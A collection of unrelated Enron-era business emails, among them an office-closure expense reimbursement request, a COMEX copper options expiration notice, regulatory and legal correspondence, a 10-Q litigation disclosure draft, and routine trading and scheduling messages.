Note: forwarded message attached.

=====
Charles R. Allured

__________________________________________________
Do You Yahoo!?
Send your FREE holiday greetings online!
http://greetings.yahoo.com
X-Apparently-To: cra123@yahoo.com via web10106; 06 Dec 2001 07:57:35 -0800 (PST)
Received: from web10106  (HELO web10106.mail.yahoo.com) (216.136.130.56)  by mta538.mail.yahoo.com with SMTP; 06 Dec 2001 07:57:35 -0800 (PST)
Date: 6 Dec 2001 15:57:35 -0000
From: MAILER-DAEMON@yahoo.com
To: cra123@yahoo.com
Subject: failure delivery
Content-Length: 1430

Message from  yahoo.com.
Unable to deliver message to the following address(es).

<Ken.lay@enron.com>:
192.152.140.66 does not like recipient.
Remote host said: 550 5.1.1 <Ken.lay@enron.com>... User unknown
Giving up on 192.152.140.66.

--- Original message follows.

Return-Path: <cra123@yahoo.com>
Message-ID: <20011206155733.41853.qmail@web10106.mail.yahoo.com>
Received: from [207.228.61.99] by web10106.mail.yahoo.com via HTTP; Thu, 06 Dec 2001 07:57:33 PST
Date: Thu, 6 Dec 2001 07:57:33 -0800 (PST)
From: "Chas. Allured" <cra123@yahoo.com>
Subject: Fwd: Office Closure
To: Ken.lay@enron.com, david.delainey@enron.com
Cc: Ben Smith <ben.smith@enron.com>, Dan.Leff@enron.com
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="0-1477215709-1007654253=:41845"

--0-1477215709-1007654253=:41845
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I have asked both Ben Smith and Dan Leff to confirm
that these expenses will be paid so I can close the
office in Nevada.  It is a small amount but I can not
cover the cost for Enron out of my personal funds.
The total outstanding is $3,443.04.  Can you please
see that this gets paid ASAP.
Thanks and God Bless,
Chuck Allured

Note: forwarded message attached.

=====
Charles R. Allured

__________________________________________________
Do You Yahoo!?
Send your FREE holiday greetings online!
http://greetings.yahoo.com
--0-1477215709-1007654253=:41845
Content-Type: message/rfc822

X-Apparently-To: cra123@yahoo.com via web10108; 03 Dec 2001 10:27:49 -0800 (PST)
Received: from web10106  (HELO web10106.mail.yahoo.com) (216.136.130.56)
  by mta428.mail.yahoo.com with SMTP; 03 Dec 2001 10:27:49 -0800 (PST)
Received: from [63.201.26.225] by web10106.mail.yahoo.com via HTTP; Mon, 03 Dec 2001 10:27:49 PST
Date: Mon, 3 Dec 2001 10:27:49 -0800 (PST)
From: "Chas. Allured" <cra123@yahoo.com>
Subject: Office Closure
To: ben.smith@enron.com, Leticia.dotello@enron.com
Cc: cra123@yahoo.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Length: 910

Ben, Leticia,
I hope this is not the last time we get to work
together.  As we discussed, I will have some office
closure expenses that I will need to get reimbursed
for.  I have been locked out of the server so I can
not enter them into the xms system.
This amounts to the following:

ATT wireless:
$212.71 November Billing
$90 Termination charge

Nevada Bell:
$170 November billing (est.)
$500 DSL Setup fee (November)
$49.95 November DSL monthly fee
$250 Termination Charge of one year contract

--------
$1,272.66 Total

Can you please process this and get $ to me asap so I
can disconnect all of the services?  You can reach me
at (775)832-2141 or cra123@yahoo.com

Thanks for all of the memories and may God bless us
all.
Chuck

=====
Charles R. Allured

__________________________________________________
Do You Yahoo!?
Buy the perfect holiday gifts at Yahoo! Shopping.
http://shopping.yahoo.com
--0-1477215709-1007654253=:41845--


Deal 220903, should be 0 now.  Thanks.

Marlene, we terminated Egan Hub contract ENA-0001 effective 8/31/2000.

Brenda H Fletcher
09/11/2000 04:33 PM
To: Chris Germany/HOU/ECT@ECT
cc:
Subject: Egan Hub

What happened to Egan Hub?  I don't  see it on the Sept. spreadsheet  but the
deal is still active in Sitara?

Brenda


Notice No. 01-350
October 22, 2001

TO:		All COMEX Division Members/Member Firms
All COMEX Division Clearing Members
All COMEX Division Floor Traders
All COMEX Division Operations Managers

FROM:	Michael Campanelli, Vice President
		Floor Operations / COMEX Division

RE:		Options Expiration Operational Procedures for the Trading
Floor and 			Clearing Members - Shortened Hours
____________________________________________________________________________
__

The expiration date for the November 2001 options contract for Copper (HX
X1) is Friday, October 26, 2001.

GENERAL OPERATIONAL PROCEDURES

All Clearing Members and Qualified Floor Traders that carried an options
position as of the close of business day prior to the expiration day, or
engaged in trading activity on Expiration Day in the expiring options
contract will be required to have a knowledgeable, duly authorized on-line
trade entry ("OLTE") system trained representative available until released
by the Exchange staff.  All adjustments  and/or corrections, must be
accompanied by relevant supporting documentation prior to being incorporated
into expiration processing, in essence making the expiration processing an
extension of the afternoon trade resolution procedures.

Exchange Clearing (299-2110) and Trade Processing (299-2465 and 299-2044)
personnel will be available to assist with the processing of notices of
Exercise and Abandonment, position transfers, trade corrections and other
questions or problems you may have.

Failure by any Clearing Member or qualified Floor Trader to comply with
procedures as outlined herein may result in severe disciplinary action by
the Exchange and potential financial liability to customers or members for
failure to exercise diligence in the processing of information.

TRADING FLOOR OPERATIONAL PROCEDURES

The following schedule of operational procedures is based on shortened
trading hours as described in Notice to Members # 01-333
(http://www.nymex.com/refernce/notices/2001/ntm_333.htm)

Trading in the November 2001 Copper Options Contract will cease at 1:00 P.M.
on October 26, 2001.  All Brokers and Traders must inform their Clearing
Members of their intentions to exercise or abandon such Options by 3:00 P.M.

On Friday, October 26, 2001, all Brokers and Clearing Members must have a
duly authorized, On-Line Trade Entry ("OLTE") system trained representative
available until such time as the Exchange deems necessary.

NOTE:	After 3:30 P.M. all expiring option trade data must be inputted on
special "OLTE" terminals located in the Trade Processing Room.  Any other
means of submission will be rejected by the Exchange.  Members will be able
to submit all other trade data until 4:00 P.M.

After the Unmatched Trade Reports and the Preliminary Spot Month Matched
Trade Reports are displayed, Clearing Member representatives will be able to
pick up their Preliminary Clearing reports at the Clearing Department.

A final review of all submissions will be made.  The Supervisor of the Trade
Processing Room will detain only those Clearing Members and/or Broker
representatives involved.  All final corrections will be made at this time
and upon determination of the Supervisor that all option processing is
complete, all representatives will be released.

Exchange Reports based on Friday's submissions and processing will be
available on Monday morning October 29, 2001.

In the event that you have any questions regarding these trading floor
procedures please contact Michael Campanelli at (212) 299-2072 or David
Sherman at (212) 299-2061.

CLEARING DEPARTMENT OPERATIONAL PROCEDURES

1.	OPEN POSITION CONFIRMATION ("OPC") - The OPC should reflect as
accurately as possible all futures and options gross positions as of
close-of business on the business day prior to expiration.  Review the
estimated current gross positions as shown and make appropriate adjustments.
The OPC must be submitted not later than 9:00 A.M.

2.  	OPTIONS EXERCISE/ABANDONMENT REQUESTS FORM ("E/A") - An expiring
option with a strike price in-the-money by one tick or more will be subject
to automatic exercise unless an Option Abandonment Request form is submitted
advising that a Clearing Member ("CM") elects to abandon some or all of its
position in that strike price (i.e., for the option series).  All other
options series in the expiring month will be subject to automatic
abandonment unless an Option Exercise Request form is submitted.  When
submitting an E/A form, please note the following:

(a)	An E/A form must be submitted not later than 4:00 PM.
(b)	Do not submit an Exercise form for positions in strike prices which
are subject to automatic
		Exercise nor submit an Abandonment form for positions in
strike prices which are subject to automatic abandonment.
(c)	If a CM wishes to submit an E/A form to abandon a position in a
strike price subject to automatic exercise or wishes to exercise a position
in a strike price which is out of the money, it is necessary to notify
Clearing by telephone of such anticipated action.  The CM must have an
officer available to confirm such intention.
(d)	CMs may secure from Clearing a time-stamped receipt of the CM copy
to assure submission 	of the CM's E/A forms.

3.	OPTION POSITION REDUCTION REQUEST FORM ("OPRR") - As a general rule,
purchases and sales of option contracts are presumed to be new business.
If some or all of your purchases and sales are in fact undertaken for
position liquidation purposes, OPRR forms may be submitted on the day of
expiration and will be used in conjunction with trade data to reduce your
projected position in an expiring contract.  OPRR requests in excess of
actual traded volume will be rejected.  Exception: Cabinet trades and cancel
correction trades will automatically liquidate existing positions, therefore
do not submit an OPRR form for cabinet or cancel correction trades.
The OPRR form must be submitted not later than 4:00 PM.

4.	HOUSE/CUSTOMER POSITION TRANSFER REQUEST FORM ("H/C") - H/C forms
may be used only to transfer previously cleared contracts between a CM's
house and customer accounts.  Problem trades (those which have not cleared
prior to expiration day) must be corrected using COMEX's on-line trade entry
system under the direct supervision of the Trade Audits Department of COMEX
("Trade Audits").  The H/C form must be submitted not later than 2:30 PM.

5.	EX-PIT POSITION TRANSFER REQUEST FORM ("Ex-Pit") - Ex Pit forms may
be used only to transfer previously cleared contracts between CMs.  Problem
trades (those which have not cleared prior to expiration day) must be
corrected on the on-line trade entry system under the direct supervision of
Trade Audits.  The Ex-Pit form must be submitted not later than 2:30 PM.

	*****
A)	At approximately 3:15 PM, two PRELIMINARY reports of the expiration
process will be available for distribution at the NYMEX Clearing Department:
1.	OPTION EXPIRATION REPORT AND CONFIRMATION - The purpose of this
report is to project the CM's present position going into the expiration
based upon the transactions which have already been submitted to Clearing.
CMs should review and modify their adjusted gross positions as of
close-of-business on the business day prior to expiration.  Further
adjustments may be submitted not later than 4:00 PM.  The projected ending
gross positions will reflect transactions accepted or rejected for clearance
on expiration night, inclusive of Ex-Pit, H/C and OPRR transactions which
have been submitted to Clearing prior to 2:30 PM, and trade information
submitted to COMEX prior to 2:45 PM.  Normally, this report will also
reflect manually submitted Exercise and Abandonment instructions, the
projected number of exercises and maximum potential assignments for each
strike price, the type of exercise (manual or automatic), whether the strike
is In, At or Out of the money, and the exercise value associated therewith
based on settlement prices established by COMEX on the day of expiration.

2.	TRANSACTION LISTING - This listing will include in detail all
expiring option trades submitted to COMEX prior to 2:45 PM on expiration
day, and all H/C, ExPit, OPRR and E/A transactions submitted to Clearing
Prior to 2:30 PM.

Please note: Trade information reflected on the option expiration report and
transaction listing are trades submitted only. To inquire whether trades
have matched, each CM must review the trade reports provided by COMEX's
On-Line Trade Entry ("OLTE") system.

B)	At approximately 4:30 PM, FINAL reports of the expiration process,
including all submissions to Clearing and trade information submitted to
COMEX made by 4:00 PM, will be available for distribution at the NYMEX
Clearing Department.

C)	At 4:45 PM, Preliminary In The Money Abandonment and Out Of The
Money Exercise information will be announced on Fast Facts.

D)	At Approximately 6:30 PM, a Final Notice of Exercise/Assignments
will be available in each CM's lockbox located at the NYMEX Clearing
Department.  Each CM which has exercised or been assigned one or more
options will receive a separate statement showing exercises and/or
assignments for each option series.  Please check this statement carefully.
Although long options positions in-the-money by one tick or more will be
automatically exercised, not all short option positions will be assigned if
there are any options manually abandoned at such strike prices.  Please note
that there also may be some at or out-of-the money options being exercised.

E)	At approximately 8:00 PM, the final set of clearing sheets will be
available in each CM's lockbox located at the NYMEX Clearing Department.

It is strongly recommended that each CM have a representative(s) that is
properly trained to handle the option expiration process available beginning
at 3:15 PM and who will receive the CM's reports at the specific times.  It
is solely the responsibility of the CM to review these reports and to notify
the Clearing staff immediately of any discrepancies.

To obtain the exact time of the availability for each report, clearing
members should call (212) 301-4871, access code 701.  The announcement time
will occur 1/2 hour prior to availability.

Attached please find a Clearing Member Procedure Summary for ease of
reference.  Please contact Anthony DiBenedetto at (212) 299-2152 or John
Ramos at (212) 299-2142 if you have any questions.


FYI
----- Forwarded by Sara Shackleton/HOU/ECT on 05/22/2000 04:42 PM -----

	David P Dupre
	05/22/2000 04:40 PM

		 To: Sara Shackleton/HOU/ECT@ECT
		 cc:
		 Subject: Cargill update

Hi, I received your message.

Our last trade was completed on 11/5/99.

Cargill and I are in discussions regarding the line of credit/margin account
with them regarding
the details of the account.

I'll report back to you with details soon,

Thanks
David


Here is a set of disclaimers for your website.  Have you looked into getting
the name trademarked?  If not, let me know and I can try and move that along
from here.


-----Original Message-----
From: Dan Douglass [mailto:douglass@energyattorney.com]
Sent: Friday, November 02, 2001 6:02 PM
To: ARM
Subject: Fw: A.98-07-003, Comments of City of Corona

Dan

Law Offices of Daniel W. Douglass
5959 Topanga Canyon Blvd.  Suite 244
Woodland Hills, CA 91367
Tel:   (818) 596-2201
Fax:  (818) 346-6502
douglass@energyattorney.com
----- Original Message -----
From: "Keen, Randall" <RKeen@manatt.com>
To: "'Ed Poole'" <epoole@adplaw.com>; <kmccrea@sablaw.com>;
<mFerrara@apsc.com>; <napedersen@jonesday.com>; <kmcspadd@milbank.com>;
<douglass@energyattorney.com>; <beth.fox@sce.com>; <shotwejp@sce.com>;
<jparrott@sempra.com>; <mshames@ucan.org>; <rclark@coral-energy.com>;
<jbarthrop@electric.com>; <btenney@landuselaw.com>;
<FurutaNJ@efawest.navfac.navy.mil>; <bfinkelstein@turn.org>;
<sjy@cpuc.ca.gov>; <ek@a-klaw.com>; <jlondon@gralegal.com>;
<ktilton@gralegal.com>; <jlkm@pge.com>; <phanschen@mofo.com>;
<jsqueri@gmssr.com>; <jbennett@gmssr.com>; <bgex@skjerven.com>;
<edwardoneill@dwt.com>; <mmattes@nossaman.com>; <jguzman@nossaman.com>;
<wbooth@booth-law.com>; <mgomez1@bart.gov>; <sberlin@mccarthylaw.com>;
<blaising@braunlegal.com>; <lwhouse@el-dorado.ca.us>; <abb@eslawfirm.com>;
<BJulian2@aol.com>; <lmh@eslawfirm.com>; <pstohr@dbsr.com>;
<kmills@cfbf.com>; <mpa@a-klaw.com>; <cread@steptoe.com>;
<DavoodiKR@efaches.navfac.navy.mil>; <ad046@detroit.freenet.org>;
<mbrubaker@consultbai.com>; <jsmollon@newwestenergy.com>; "Keen, Randall"
<RKeen@manatt.com>; <kcheh@omm.com>; <mmccay@sempra.com>;
<gsullivan@sempra.com>; <chrisk@cellnet.com>; <fosterbc@sce.com>;
<jpeck@sempra.com>; <dgrueneich@gralegal.com>; <mpatel@sidley.com>;
<rrh3@pge.com>; <jasonm@newsdata.com>; <derkp@newsdata.com>;
<chilen@llgm.com>; <blunden@hotmail.com>; <maxian_miriam@jpmorgan.com>;
<ssmyers@worldnet.att.net>; <shilton@mofo.com>; <gerspamer@mofo.com>;
<difellman@earthlink.net>; <rbw@mrwassoc.com>; <rschmidt@bartlewells.com>;
<brbarkovich@earthlink.net>; <karen@klindh.com>; <mer@cpuc.ca.gov>;
<adf@cpuc.ca.gov>; <cjb@cpuc.ca.gov>; <dlf@cpuc.ca.gov>; <yee@cpuc.ca.gov>;
<kth@cpuc.ca.gov>; <omv@cpuc.ca.gov>; <rab@cpuc.ca.gov>; <hal@cpuc.ca.gov>;
<jgl@cpuc.ca.gov>; <fdeleon@energy.state.ca.us>
Sent: Friday, November 02, 2001 4:34 PM
Subject: A.98-07-003, Comments of City of Corona

>
> > Attached please find Comments of the City of Corona in the above
> > referenced proceeding.
> >
> >  <<Letter and Comments of City of Corona.DOC>>
> >
> Randall W. Keen
> Manatt Phelps & Phillips
> Direct Line: (310) 312-4361
> Fax: (310) 312-4224
>
> > CONFIDENTIALITY NOTICE:  This e-mail transmission, and any documents,
> > files or previous e-mail messages attached to it, may contain
confidential
> > information that is legally privileged.  If you are not the intended
> > recipient, or a person responsible for delivering it to the intended
> > recipient, you are hereby notified that any disclosure, copying,
> > distribution or use of any of the information contained in or attached
to
> > this message is STRICTLY PROHIBITED.  If you have received this
> > transmission in error, please immediately notify us by reply by e-mail
to
> > rkeen@manatt.com or by telephone to (310) 312-4361, and destroy the
> > original transmission and its attachments without reading them or saving
> > them to disk.  Thank you.
> >
> >
>


Thanks.  Which attorney is this info from?


Attached find the second draft of our answer to CMUA's complaint for
cost-based rates in California.  Please send me any comments ASAP as this
must be sent to FERC at 4:00 p.m. eastern time tomorrow.


???????????????????????????????????????????? Rick
---------------------- Forwarded by Rick Buy/HOU/ECT on 02/23/2001 08:09 AM ---------------------------
From:	Michael Tribolet/ENRON@enronXgate on 02/23/2001 07:11 AM
To:	Rick Buy/HOU/ECT@ECT
cc:
Subject:	FW: Harold Buchanan to Attend MIT Sloan School Executive MBA Program

FYI

 -----Original Message-----
From: 	Dalia, Minal
Sent:	Thursday, February 22, 2001 7:10 PM
To:	Tribolet, Michael; Gorny, Vladimir; Hachen, James; Gorte, David; Ruane, Mark; Bradford, William
Subject:	Harold Buchanan to Attend MIT Sloan School Executive MBA Program

---------------------- Forwarded by Minal Dalia/HOU/EES on 02/22/2001 07:08 PM ---------------------------

 	Enron Energy Services  From:  EES Office of Chairman                           02/22/2001 05:30 PM

Sent by:	Carol Moffett
To:	EES_Employees
cc:
Subject:	Harold Buchanan to Attend MIT Sloan School Executive MBA Program

We are pleased to announce that Harold Buchanan will attend MIT Sloan School Executive MBA Program.  Harold and his family will leave for Boston in April.  In the meantime, he will work on special projects for EES and Marty Sunde will be assume leadership of Harold's organization until a replacement for Harold is found.

Please join us in congratulating Harold and in wishing him and his family the very best of luck in New England.  We look forward to his return to Enron in 2002.

<Embedded Picture (Device Independent Bitmap)>


I wanted to give you a quick update on ConfirmLogic....

Testing was done last week on the ConfirmLogic module.  On Thursday, we
discussed with Kathryn Cordes and the ConfirmLogic IT team the items that we
had found that were "show stoppers" as far as releasing the product for Beta
Testing.  Some of the major Items found were the inability to properly handle
Basis Swaps for Gas and inability to display meaningful Index References for
Power (they were pulling in a code rather than a description of the Index).

The team worked on the "fixes" and migrated the code last night.  Today
during testing, they found that the new code had actually caused problems
with the fixed price and volume information, which was working previously.  I
talked to Kathryn and she said that the were rebuilding the code.  She said
that someone had tested the fix last night and everything worked fine.  We
plan more testing in the morning.

They are doing a high-level demo this Thursday for Beta Customers just to
introduce the module.  They were planning on having more extensive Beta demos
for each client starting next week but realize that those may have to
postponed further.

We have told them that we would not sign off for Beta testing until we were
comfortable that the items that we identified were working.  We need
consistent, stable days of testing before I will feel comfortable.

Overall, we like the "new" streamlined version of the screens and feel that
it will be a good product if they can work out the data display issues.

Call with any questions.

Kim Theriot


Ed,  I can meet with you to discuss this.  Thursday or Friday afternoon would
work for me.  Let me know your schedule.

	Edward D Gottlob
	08/08/2000 10:45 AM

		 To: Gerald Nemec/HOU/ECT@ECT, Steve Van Hooser/HOU/ECT@ECT
		 cc: Lauri.A.Allen@enron.com, Laura Harder/Corp/Enron@Enron
		 Subject: EOL Int. Transportation

I would like to set up a meeting with one of you to talk about EOL
transportation business.  Lauri and I could come by and show you what we
intend to do and some of the information we have gathered.  We will need your
help to get a GTC / contract together that will cover the business we intend
to do.  EDG


real time market


I have no changes to the Intratex case description.

	Gary Peng@ENRON
	10/19/2000 06:13 PM

		 To: Charles Cheek/Corp/Enron@Enron, Robert Eickenroht/Corp/Enron@Enron,
Richard B Sanders/HOU/ECT@ECT, Frank Smith/Corp/Enron@Enron
		 cc: Rex Rogers/Corp/Enron@Enron, Jan Johnson/GPGFIN/Enron@ENRON
		 Subject: Litigation and Other Contingencies Disclosure

Find below the Litigation and Other Contingencies footnote from the the June
30, 2000 Form 10-Q.  Please update the section of the disclosure for which
you are responsible for inclusion in the third quarter 2000 Form 10Q .  Also,
please let me know if there are any new items that should be considered.

Please respond no later than Monday October 30.

Gary
3-6841

3.  Litigation and Other Contingencies

 Enron is a party to various claims and litigation, the significant items of
which are discussed below.  Although no assurances can be given, Enron
believes, based on its experience to date and after considering appropriate
reserves that have been established, that the ultimate resolution of such
items, individually or in the aggregate, will not have a material adverse
impact on Enron,s financial position or its results of operations.

 Litigation.  In 1995, several parties (the Plaintiffs) filed suit in Harris
County District Court in Houston, Texas, against Intratex Gas Company
(Intratex), Houston Pipe Line Company and Panhandle Gas Company
(collectively, the Enron Defendants), each of which is a wholly-owned
subsidiary of Enron.  The Plaintiffs were either sellers or royalty owners
under numerous gas purchase contracts with Intratex, many of which have
terminated.  Early in 1996, the case was severed by the Court into two
matters to be tried (or otherwise resolved) separately.  In the first matter,
the Plaintiffs alleged that the Enron Defendants committed fraud and
negligent misrepresentation in connection with the &Panhandle program,8 a
special marketing program established in the early 1980s.  This case was
tried in October 1996 and resulted in a verdict for the Enron Defendants.  In
the second matter, the Plaintiffs allege that the Enron Defendants violated
state regulatory requirements and certain gas purchase contracts by failing
to take the Plaintiffs, gas ratably with other producers, gas at certain
times between 1978 and 1988.  The trial court certified a class action with
respect to ratability claims.  On March 9, 2000, the Texas Supreme Court
ruled that the trial court,s class certification was improper and remanded
the case to the trial court.  The Enron Defendants deny the Plaintiffs,
claims and have asserted various affirmative defenses, including the statute
of limitations.  The Enron Defendants believe that they have strong legal and
factual defenses, and intend to vigorously contest the claims.  Although no
assurances can be given, Enron believes that the ultimate resolution of these
matters will not have a material adverse effect on its financial position or
results of operations.

 On November 21, 1996, an explosion occurred in or around the Humberto Vidal
Building in San Juan, Puerto Rico.  The explosion resulted in fatalities,
bodily injuries and damage to the building and surrounding property.  San
Juan Gas Company, Inc. (San Juan Gas), an Enron affiliate, operated a
propane/air distribution system in the vicinity, but did not provide service
to the building. Enron, San Juan Gas, four affiliates and their insurance
carriers were named as defendants, along with several third parties,
including The Puerto Rico Aqueduct and Sewer Authority, Puerto Rico Telephone
Company, Heath Consultants Incorporated, Humberto Vidal, Inc. and their
insurance carriers, in numerous lawsuits filed in U.S. District Court for the
District of Puerto Rico and the Superior Court of Puerto Rico.  These suits
seek damages for wrongful death, personal injury, business interruption and
property damage allegedly caused by the explosion.  After nearly four years
without determining the cause of the explosion, all parties have agreed not
to litigate further that issue, but to move these suits toward settlements or
trials to determine whether each plaintiff was injured as a result of the
explosion and, if so, the lawful damages attributable to such injury. The
defendants have agreed on a fund for settlements or final awards. Numerous
suits have been settled and 20 cases have been set for trial in the federal
court beginning in February 2001. Although no assurances can be given, Enron
believes that the ultimate resolution of these matters will not have a
material adverse effect on its financial position or results of operations.

 Trojan Investment Recovery.  In early 1993, Portland General Electric
Company (PGE) ceased commercial operation of the Trojan nuclear power
generating facility (Trojan).  In April 1996 a circuit court judge in Marion
County, Oregon, found that the Oregon Public Utility Commission (OPUC) could
not authorize PGE to collect a return on its undepreciated investment in
Trojan, contradicting a November 1994 ruling from the same court.  The ruling
was the result of an appeal of PGE,s March 1995 general rate order which
granted PGE recovery of, and a return on, 87% of its remaining investment in
Trojan.  The 1994 ruling was appealed to the Oregon Court of Appeals and was
stayed pending the appeal of the OPUC,s March 1995 order.  Both PGE and the
OPUC separately appealed the April 1996 ruling, which appeals were combined
with the appeal of the November 1994 ruling at the Oregon Court of Appeals.
On June 24, 1998, the Court of Appeals of the State of Oregon ruled that the
OPUC does not have the authority to allow PGE to recover a rate of return on
its undepreciated investment in Trojan.  The court upheld the OPUC,s
authorization of PGE,s recovery of its undepreciated investment in Trojan.

 PGE and the OPUC each filed petitions for review with the Oregon Supreme
Court.  On August 26, 1998, the Utility Reform Project filed a petition for
review with the Oregon Supreme Court seeking review of that portion of the
Oregon Court of Appeals decision relating to PGE,s recovery of its
undepreciated investment in Trojan.  On April 29, 1999, the Oregon Supreme
Court accepted the petitions for review.  On June 16, 1999, Oregon House Bill
3220 authorizing the OPUC to allow recovery of a return on the undepreciated
investment in property retired from service was signed.  One of the effects
of the bill is to affirm retroactively the OPUC,s authority to allow PGE,s
recovery of a return on its undepreciated investment in Trojan.

 Relying on the new legislation, on July 2, 1999, PGE requested the Oregon
Supreme Court to vacate the June 24, 1998, adverse ruling of the Oregon Court
of Appeals, affirm the validity of the OPUC,s order allowing PGE to recover a
return on its undepreciated investment in Trojan and to reverse its decision
accepting the Utility Reform Project,s petition for review.  The Utility
Reform Project and the Citizens Utility Board, another party to the
proceeding, opposed such request and submitted to the Oregon Secretary of
State sufficient signatures in support of placing a referendum to negate the
new legislation on the November 2000 ballot.  The Oregon Supreme Court has
indicated it will defer hearing the matter until after the November 2000
elections.  Enron cannot predict the outcome of these actions.  Additionally,
due to uncertainties in the regulatory process, management cannot predict,
with certainty, what ultimate rate-making action the OPUC will take regarding
PGE,s recovery of a rate of return on its Trojan investment.  Although no
assurances can be given, Enron believes that the ultimate resolution of these
matters will not have a material adverse effect on its financial position or
results of operations.

 Environmental Matters.  Enron is subject to extensive federal, state and
local environmental laws and regulations.  These laws and regulations require
expenditures in connection with the construction of new facilities, the
operation of existing facilities and for remediation at various operating
sites.  The implementation of the Clean Air Act Amendments is expected to
result in increased operating expenses.  These increased operating expenses
are not expected to have a material impact on Enron,s financial position or
results of operations.

 The Environmental Protection Agency (EPA) has informed Enron that it is a
potentially responsible party at the Decorah Former Manufactured Gas Plant
Site (the Decorah Site) in Decorah, Iowa, pursuant to the provisions of the
Comprehensive Environmental Response, Compensation and Liability Act (CERCLA,
also commonly known as Superfund).  The manufactured gas plant in Decorah
ceased operations in 1951.  A predecessor company of Enron purchased the
Decorah Site in 1963.  Enron,s predecessor did not operate the gas plant and
sold the Decorah Site in 1965.  The EPA alleges that hazardous substances
were released to the environment during the period in which Enron,s
predecessor owned the site, and that Enron,s predecessor assumed the
liabilities of the company that operated the plant.  Enron contests these
allegations.  To date, the EPA has identified no other potentially
responsible parties with respect to this site.  Under the terms of
administrative orders, Enron replaced affected topsoil and removed impacted
subsurface soils in certain areas of the tract where the plant was formerly
located.  Enron completed the final removal actions at the site in November
1998 and concluded all remaining site activities in the spring of 1999.
Enron submitted a final report on the work conducted at the site to the EPA.
Enron does not expect to incur any additional expenditures in connection with
this site.

 Enron,s natural gas pipeline companies conduct soil and groundwater
remediation on a number of their facilities.  Enron does not expect to incur
material expenditures in connection with soil and groundwater remediation.


FYI

 -----Original Message-----
From:  "Ginny Feliciano" <gfeliciano@earthlink.net>@ENRON
[mailto:IMCEANOTES-+22Ginny+20Feliciano+22+20+3Cgfeliciano+40earthlink+2Enet+3
E+40ENRON@ENRON.com]
Sent: Thursday, June 28, 2001 3:40 PM
To: Silvia Woodard; Paul Runci; Katrin Thomas; John A. Riggs; Kurt E. Yeager;
Gregg Ward; Philip K. Verleger; Admiral Richard H. Truly; Susan Tomasky;
Tsutomu Toichi; Susan F. Tierney; John A. Strom; Gerald M. Stokes; Kevin
Stoffer; Edward M. Stern; Irwin M. Stelzer; Hoff Stauffer; Steven R. Spencer;
Robert Smart; Bernie Schroeder; George A. Schreiber, Jr.; Robert N. Schock;
James R. Schlesinger; Roger W. Sant; John W. Rowe; James E. Rogers; John F.
Riordan; James Ragland; Frank J. Puzio; Tony Prophet; Robert Priddle; Michael
Price; John B. Phillips; Robert Perciasepe; D. Louis Peoples; Robert
Nordhaus; Walker Nolan; William A. Nitze; Kazutoshi Muramatsu; Ernest J.
Moniz; Nancy C. Mohn; Callum McCarthy; Thomas R. Mason; Edward P. Martin; Jan
W. Mares; James K. Malernee; S. David Freeman; Edwin Lupberger; Amory B.
Lovins; Lynn LeMaster; Hoesung Lee; Lay, Kenneth; Lester Lave; Wilfrid L.
Kohl; Soo Kyung Kim; Melanie Kenderdine; Paul L. Joskow; Ira H. Jolles;
Frederick E. John; John Jimison; William W. Hogan; Robert A. Hefner, III;
James K. Gray; Craig G. Goodman; Charles F. Goff, Jr.; Jerry D. Geist; Fritz
Gautschi; Larry G. Garberding; Roger Gale; William Fulkerson; Stephen E.
Frank; George Frampton; Juan Eibenschutz; Theodore R. Eck; Congressman John
Dingell; Brian N. Dickie; William E. Dickenson; Etienne Deffarges; Wilfried
Czernie; Loren C. Cox; Anne Cleary; Bernard H. Cherry; Red Cavaney; Ralph
Cavanagh; Thomas R. Casten; Peter Bradford; Peter D. Blair; Ellen Berman;
Roger A. Berliner; Michael L. Beatty; Vicky A. Bailey; Merribel S. Ayres;
Catherine G. Abbott
Subject: Energy Deregulation - California State Auditor Report

Attached is my report prepared on behalf of the  California State Auditor.

I look forward to seeing you at The Aspen  Institute Energy Policy Forum.

Charles J. Cicchetti
Pacific Economics Group, LLC

 - ca report new.pdf


Just to keep you up to date on this -
I was told to call Larry Joe Hunter today for our counterparty matchups on
the May futures contracts. I left him two messages, but never got a call
back. I wonder if he's out of the office? Anyway, I'll definitely get a hold
of someone tomorrow - if I can't I'll just go straight to the broker - and
we'll get this deal out of the New CTPY status.

Thanks,
Kate

	From:  Sharen Cason                           04/26/2001 07:45 AM

To: Kate Symes/PDX/ECT@ECT
cc:

Subject: new deal

There is a deal titled NEW COUNTERPARTY.  Do you know what the name is
supposed to be?

Thanks!

592751


Shirley,

Please, extend the invitation  to Greg and Liz.

Vince

Shirley Crenshaw
01/04/2000 12:18 PM
To: Vince J Kaminski/HOU/ECT@ECT, Stinson Gibner/HOU/ECT@ECT, Pinnamaneni
Krishnarao/HOU/ECT@ECT, Vasant Shanbhogue/HOU/ECT@ECT, Mike A
Roberts/HOU/ECT@ECT, Joseph Hrgovcic/HOU/ECT@ECT, Grant Masson/HOU/ECT@ECT,
Tanya Tamarchenko/HOU/ECT@ECT, Zimin Lu/HOU/ECT@ECT, Jason
Sokolov/HOU/ECT@ECT, Vincent Tang/HOU/ECT@ECT, Alexios Kollaros/HOU/EES@EES,
Ravi Thuraisingham/HOU/ECT@ECT, Martin Lin/HOU/ECT@ECT, Maureen
Raymond/HOU/ECT@ECT, Osman Sezgen/HOU/EES@EES, Paulo Issler/HOU/ECT@ECT, Ross
Prevatt/HOU/ECT@ECT, Michael Sergeev/HOU/ECT@ECT, Patricia
Tlapek/HOU/ECT@ECT, Farouk Lalji/HOU/ECT@ECT, Roman Zadorozhny/HOU/ECT@ECT,
Samer Takriti/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Martina
Angelova/HOU/ECT@ECT, Amitava Dhar/Corp/Enron@ENRON, Alex
Huang/Corp/Enron@ENRON, Ronnie Chahal/HOU/EES@EES, Kevin
Kindall/Corp/Enron@ENRON, Kevin G Moore/HOU/ECT@ECT, Clayton
Vernon/Corp/Enron@ENRON
cc:
Subject: Research Group "Millenium" Party

Hello all!

Since we all seemed to survive the "Y2K" bug, we are going to celebrate!

Our "Holiday Millenium" party will be this Saturday.

See attached for information, if you have questions, please call me at 3-5290.

See you there!

Shirley


And with this email I bid you adieu, hasta manana, ciao, etc.

Kay


Sara,

We are in the process of trying to lock in a fixed price for gas for Tucson
Electric for the summer.  We need to get a contract in place ASAP that allows
a financial transaction with these guys.  Have you guys ever looked into
financial contracts with them?  Let me know what information you need or if
you have any questions.  They are ready to do something today.

Thanks,

Kim Ward
503-464-3826


